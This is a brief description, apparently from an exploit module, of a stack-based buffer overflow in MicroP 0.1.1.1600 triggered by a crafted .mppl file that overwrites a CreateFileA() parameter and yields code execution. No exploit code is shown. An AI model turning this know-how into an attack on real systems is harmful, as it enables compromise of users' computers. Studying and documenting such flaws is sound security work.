					This module exploits a vulnerability found in MicroP 0.1.1.1600.  A stack-based
				buffer overflow occurs when the content of a .mppl file gets copied onto the stack,
				which overwrites the lpFileName parameter of a CreateFileA() function, and results
				arbitrary code execution under the context of the user.
